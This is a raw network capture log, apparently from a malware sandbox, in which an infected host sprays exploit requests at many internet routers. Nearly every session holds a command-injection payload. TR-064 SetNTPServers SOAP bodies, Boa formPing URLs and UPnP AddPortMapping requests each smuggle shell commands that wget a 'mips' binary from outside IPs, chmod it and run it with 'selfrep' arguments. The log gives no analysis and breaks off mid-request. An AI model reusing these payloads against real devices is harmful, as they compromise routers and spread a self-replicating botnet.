Apr 15, 2024 08:52:27.281021118 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 16:52:26 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
162	192.168.2.13	32838	51.211.83.159	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:26.923544884 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:28.836458921 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:31.328490973 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:35.936474085 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:45.152471066 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:03.328449965 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:40.192488909 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
163	192.168.2.13	38894	218.146.232.66	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:27.039031029 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
164	192.168.2.13	49502	222.102.175.140	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:27.042260885 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
165	192.168.2.13	54322	178.174.188.221	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:27.116925955 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:52:28.768460035 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:52:30.720488071 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:52:34.656493902 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:52:42.592480898 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:52:58.208579063 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:53:29.952456951 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
166	192.168.2.13	45282	159.192.82.7	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:27.165870905 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:28.267460108 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
167	192.168.2.13	35706	101.167.72.124	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:27.281250954 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:27.646693945 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 16:52:26 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
168	192.168.2.13	32858	51.211.83.159	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:27.332643986 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:29.440463066 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:32.096486092 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:37.216538906 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:47.200458050 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:07.424444914 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:48.384408951 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
169	192.168.2.13	43570	208.112.192.208	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:27.449717999 CEST	928	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
170	192.168.2.13	43614	208.112.192.208	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:27.603437901 CEST	918	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping 